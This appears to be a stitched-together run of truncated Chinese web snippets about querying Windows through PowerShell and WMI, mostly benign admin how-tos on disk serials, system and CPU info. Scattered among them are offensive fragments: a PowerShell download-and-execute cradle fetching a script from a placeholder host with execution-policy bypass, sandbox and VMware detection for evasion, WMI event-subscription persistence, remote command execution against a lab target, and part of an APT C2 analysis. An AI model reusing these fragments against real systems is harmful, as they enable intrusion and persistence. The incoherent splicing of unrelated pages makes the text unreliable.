一句话命令只能显示disk instanceid、磁盘序号,研究了下没有直接的命令可以一键三连输出disk instanceid、磁盘序号、盘符,只能用powershell代码段来搞,分享如下: # 获取所有磁盘驱动器的信息...$diskDrives = Get-WmiObject -Class Win32_DiskDrive # 按DeviceID排序磁盘驱动器 $diskDrives = $diskDrives | Sort-Object...# 获取与分区关联的所有逻辑磁盘 $logicalDisks = $partition.GetRelated('Win32_LogicalDisk') # 输出逻辑磁盘的盘符...} } Write-Output "" } 效果如下 再深化下代码,把每个盘符的freesize、size显示一下 # 获取所有磁盘驱动器的信息 $diskDrives = Get-WmiObject...wmic path win32_physicalmedia get SerialNumber,Tag
在 PowerShell 可以很容易使用 WMI 拿到系统的信息,如果有关注我的网站,就会发现我写了很多通过 WMI 拿到系统的显卡,系统安装的软件等方法,本文告诉大家如果通过 PowerShell 拿到...可以找到设备里面所有可以被找到的 WMI 类 Get-WmiObject -List 在 Windows 10 设备,右击开始菜单,打开 PowerShell 输入上面代码,就可以看到输出 在 Get-WmiObject...WINDOWS\system32 Organization : BuildNumber : 17763 RegisteredUser : lindexi_gd@outlook.com SerialNumber...: 00331-10000-00001-AA523 Version : 10.0.17763 这里的输出只是简要的信息,没有包含所有的属性,如果想输出所有的属性,可以使用下面代码...拿到显卡信息 PowerShell 通过 WMI 获取设备厂商 PowerShell 通过 WMI 获取系统信息 PowerShell 通过 WMI 获取系统安装的驱动 PowerShell
onboardcloud.dl.sourceforge.net/project/crystaldiskinfo/9.6.3/CrystalDiskInfo9_6_3.exe 遇到下面这种显示一样的就得靠盘符区分 wmic diskdrive get serialnumber...Get-WmiObject win32_physicalmedia | Select-Object SerialNumber Get-PhysicalDisk | Format-List FriendlyName..., SerialNumber 上图中,3个TENCENT TXPU7T6TQP2511,就得靠盘符和序列号区别
3.登录服务器,点击开始,点击powershell运行框 image.png 4.在运行框中执行wmic path win32_physicalmedia get SerialNumber,Tag或者wmic...diskdrive get caption,deviceid,serialnumber命令查看到云硬盘与设备名之间的对应关系。
在 PowerShell 可以很容易使用 WMI 拿到系统的信息,如果有关注我的网站,就会发现我写了很多通过 WMI 拿到系统的显卡,系统安装的软件等方法,本文告诉大家如果通过 PowerShell 拿到...WMI 类里面的属性 在 Windows 系统通过 Windows Management Instrumentation (WMI) 统一管理系统的配置,在 PowerShell 能使用 WMI 的功能进行获取系统...可以找到设备里面所有可以被找到的 WMI 类 Get-WmiObject -List 在 Windows 10 设备,右击开始菜单,打开 PowerShell 输入上面代码,就可以看到输出 在 Get-WmiObject...WINDOWS\system32 Organization : BuildNumber : 17763 RegisteredUser : lindexi_gd@outlook.com SerialNumber...: 00331-10000-00001-AA523 Version : 10.0.17763 这里的输出只是简要的信息,没有包含所有的属性,如果想输出所有的属性,可以使用下面代码
call terminate ntsd -c q -p 进程的PID taskkill -im pid ### ###获取电脑产品编号和型号信息 wmic baseboard get Product,SerialNumber...wmic bios get serialnumber ### ###安装软件 wmic product get name,version wmic product list brief 使用Powershell...操作wmi Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Share #共享 Get-WmiObject -Namespace ROOT\CIMV2...#列举服务 Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_NtLogEvent #⽇志 Get-WmiObject -Namespace ROOT\... #账号密码整合,导入Credential $Remote #远程运行指定命令或程序 $Remote.PayloadOutput #将执行结果输出到屏幕上
本文告诉大家如何通过 WMI 使用 Win32_OperatingSystem 获取设备厂商 通过下面代码可以获取 系统版本和系统是专业版还是教育版 Get-WmiObject Win32_OperatingSystem...Name,Organization,OSArchitecture,OtherTypeDescription,PlusProductID,PlusVersionNumber,RegisteredUser,SerialNumber...OtherTypeDescription : PlusProductID : PlusVersionNumber : RegisteredUser : lindexi_gd@outlook.com SerialNumber...OperatingSystem class - Windows applications ---- 本文会经常更新,请阅读原文: https://lindexi.gitee.io/post/PowerShell
3.1 WMI连接 首先我们执行如下命令,将输出结果保存在靶机winserver2008对应的C:\Windows\Temp目录下: wmic /node:192.168.135.15 /user:administrator...call terminate ntsd -c q -p 进程的PID taskkill -im pid ### ###获取电脑产品编号和型号信息 wmic baseboard get Product,SerialNumber...wmic bios get serialnumber ### ###安装软件 wmic product get name,version wmic product list brief 3.9 Powershell...Get-WmiObject -Namespace ROOT\CIMV2 -Class Win32_Service #列举服务 Get-WmiObject -Namespace ROOT\CIMV2 -...$Remote=Invoke-WmiCommand -Payload {ipconfig} -Credential $Cred -ComputerName 192.168.135.15 #将执行结果输出到屏幕上
-c IEX((new-object net.webclient).downloadstring('http://xxx/a.ps1')) powershell -exec bypass -c "(...HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\TelemetryController\Appraiser 反病毒检测 Get-WmiObject...简单的沙盒&虚拟机检测 沙盒往往是单核且内存小于2g,可以以此为凭据检测 Get-WmiObject -Class Win32_ComputerSystem NumberOfLogicalProcessors...,TotalPhysicalMemory VMWARE虚拟机如今用的比较多,我们可以通过检测进程中是否存在vmtoolsd以及BIOS属性里是否有VMWARE字样来判断是否是VMWARE虚拟机 Get-WmiObject...Win32_BIOS -Filter 'SerialNumber Like "%VMware%"' Get-WmiObject Win32_NetworkAdapter -Filter 'Manufacturer
从Powershell v3 及后续版本,Powershell 中提供了两种 Cmdlets: CIM Cmdlets WMI Cmdlets ?...SELECT * FROM Win32_NetworkAdapter WHERE Manufacturer LIKE "%VMware%" SELECT * FROM Win32_BIOS WHERE SerialNumber...%VMware%" OR Name LIKE "%VMware%"' $VMBios = Get-WmiObject Win32_BIOS -Filter 'SerialNumber LIKE "%VMware...#这里给出两种执行方式,推荐存储的是powershell脚本,否则执行可能会遇到问题 $PowerShellPayload = "powershell -ep bypass -NoLogo -NonInteractive...具体的事件请使用 Get-WmiObject -Class *__*event* -list 查看。
-Namespace root -Class __Namespace 输出的内容包含了许多信息,为了过滤掉 “无用” 信息,可使用 PowerShell 中的 select: Get-WmiObject...2.2 获取类 我们对 Win32_UserAccount 类感兴趣,通过如下命令可简单获取数据: Get-WmiObject -Class Win32_UserAccount 要获得更详细的输出,可以将上述命令通过管道传输到...Powershell 的 Format-List 或 fl 中,例如:Get-WmiObject -Class Win32_UserAccount | fl * CIM cmdlet Get-CimInstance...可以将相关命令的输出通过管道传输到 cmdlet。为了快速演示,运行计算器应用程序并列出过程。 如果我们通过管道将命令传递给 Remove-CimInstance 会发生什么? 进程被杀死!...要列出所有可用参数,我们可以结合使用 Powershell,或者更好地阅读 https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management
Get-WMIObject` `-Namespace` `root/Subscription` `-Class` `__EventFilter Get-WMIObject` `-Namespace` `...root/Subscription` `-Class` `__FilterToConsumerBinding Get-WMIObject` `-Namespace` `root/Subscription...$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer.../WMI-Persistence “ Get-WMIObject ” cmdlet 将确保已创建事件过滤器,因为脚本不提供任何控制台输出。...Get-WMIObject -Namespace root/Subscription -Class __EventFilter Get-WMIObject -Namespace root/Subscription
我记得第一次用PowerShell的时候,输入Get-Process命令,看到那整齐的表格输出,当时就觉得这玩意儿不一般。...用来获取WMI信息,这个功能超级强大: # 获取系统信息 Get-WmiObject -Class Win32_ComputerSystem # 获取CPU信息 Get-WmiObject -Class...Win32_Processor # 获取内存信息 Get-WmiObject -Class Win32_PhysicalMemory # 获取磁盘信息 Get-WmiObject -Class Win32...PowerShell可以直接用WMI: Get-WmiObject -Class Win32_ComputerSystem Get-WmiObject -Class Win32_Processor Get-WmiObject...PowerShell提供了多种格式化输出的方式: # 表格格式(默认) Get-Process | Format-Table # 列表格式 Get-Process | Format-List #
以下代码仅限一块网卡的机器,多块网卡的代码需要调整以管理员身份powershell执行这几句命令$gw=(Get-WmiObject win32_networkadapterconfiguration...-filter "ipenabled = 'true'").defaultipgateway#$idx=(Get-WmiObject win32_networkadapterconfiguration...] -replace ' ', ';') -replace ';;;', '').split(";")[-1].trim(" ") 如果主网卡名称前面有空格,这空格也是网卡name的一部分,这句代码输出的结果会自动剔除网卡名称左边的空格...5CComputers.ps1https://gist.github.com/milesgratz/0285a6c3e9dd2bcfbbc72b441fcb6410https://www.bookstack.cn/read/powershell-networking-guide.../manuscript-renaming-the-network-adapter.mdhttps://mac-blog.org.ua/powershell-get-ip-adresses-by-connection-namehttps
WMI有一组API我们不管使用VBScript、PowerShell脚本还是利用C#的来访问WMI的类库,都是因为WMI向外暴露的一组API。...Q: WMI 管理的常用命令以及工具 wmic.exe - Cmd 命令 Get-CimClass - Powershell 命令 Get-CimInstance - Powershell 命令 Get-WmiObject...# Version : 01 # Caption : 计算机系统产品 # 指定类名与命名空间格式化输出选取前十行 Get-CimInstance -Namespace...Tips: 从 PowerShell 3.0 开始,此 cmdlet 已被Get-CimInstance....可以使用PowerShell或CMD检索Windows产品密钥。
我们可以把这些输出以表格形式来显示,(Format-table), 这里将用到 Powershell的管道符号 |, 具体语句是: Get-command | format-table name,definition...每个管道符|后面连着FT 意思是将输出格式作为一个表格形式(Format-Table),相对的是,把输出作为清单形式那就是使用 fl (Format-list)....尝试下面这个例子: Get-help get-wmiobject ? 请注意: get-help不需要管道符号。事实上,管道符只会妨碍到get-help。...对下面的语句,Powershell会直接报错 Get-help | get-wmiobject cim_chip ?...因此,我们还是按照简单的模式来输入 Get-help get-wmiobject ?
System.Windows; using System.Windows.Input; using System.Windows.Media; 2.控件 省略一堆textblock一类的控件,能输出就行...mo.Properties[“Model”].Value; } ManagementClass mc1 = new ManagementClass(“Win32...foreach (ManagementObject mo in moc2) { HDID = mo.Properties[“SerialNumber
; 6、标准化输出默认格式为.csv,可以轻松支持JSON和XML等数据格式; 工具要求 1、要求扫描设备上支持PowerShell 5.0+; 2、要求目标设备上支持PowerShell 3.0+,如果使用...「Get-WMIObject」替换「Get-CIMinstance」实例,则可以最多向下兼容到PowerShell 2.0; 3、要求WinRM访问; 工具安装 通过Git安装 广大研究人员可以直接使用下列命令将该项目源码克隆至本地...工具运行 下列命令即可将输出结果存储至「C:\Users\YourName\Meerkat\」: Invoke-Meerkat 需要注意的是,如果工具脚本未使用管理员权限运行,则下列模块将不会返回任何结果...Drivers EventsLoginFailures Hotfixes RegistryMRU Registry Processes RecycleBin 工具运行截图 「Invoke-Meerkat」命令的输出结果...输出文件 许可证协议 本项目的开发与发布遵循GPL-3.0开源许可证协议。
该APT组织显著的攻击行为特点为善于利用powershell等脚本后门,通过Powershell在内存中执行,减少新的PE文件在受害者机器落地,这种方式使的该组织的样本有着较低的检测率,另一方面也加大了安全机构的取证难度...工具由python2编写 使用powershell来进行载荷投递 使用hta与base64后的powershell代码来进行BypassAV 支持一对多服务 载荷第一次启动时会收集目标系统信息,并发送回服务端...$hostname = $env:COMPUTERNAME;$whoami = $env:USERNAME;$arch = (Get-WmiObject Win32_OperatingSystem).OSArchitecture...$os = (Get-WmiObject -class Win32_OperatingSystem).Caption + "($arch)";$domain = (Get-WmiObject Win32...服务端进行解码,输出。 ? 而模块加载功能是注册在re下面的 ? 用来读取Modules/下面的文件客户端代码如下: ? 然后获取参数执行: ? 至此C2的基本功能的方法我们就可以大体了解了。
图片.png msconfig命令 → 引导 → 高级选项 → 处理器个数是12 图片.png 通过买不同配置的机器,总结出规律,msconfig处理器个数最大值是最后一颗CPU的逻辑处理器个数,即powershell...执行(Get-WmiObject win32_processor).NumberOfLogicalProcessors显示的最后一行结果 比如 ①116核 216GB ins-irul4sv5 图片.png...在界面上只看到最后一颗CPU的逻辑处理器个数32,没法通过图形界面调成95,只能通过命令来调 bcdedit /set numproc 95 调整后重启机器进入系统后执行msconfig查看,发现已经有最大95了,通过(Get-WmiObject..."找不到元素",或者执行第1遍bcdedit /deletevalue numproc已经成功了又继续重复执行也会报一样的错,所以bcdedit /deletevalue numproc 命令可以加输出重定向隐藏报错...) 【powershell】 bcdedit /deletevalue numproc 2>$nul 1>$nul 【cmd】 bcdedit /deletevalue numproc 2>nul 1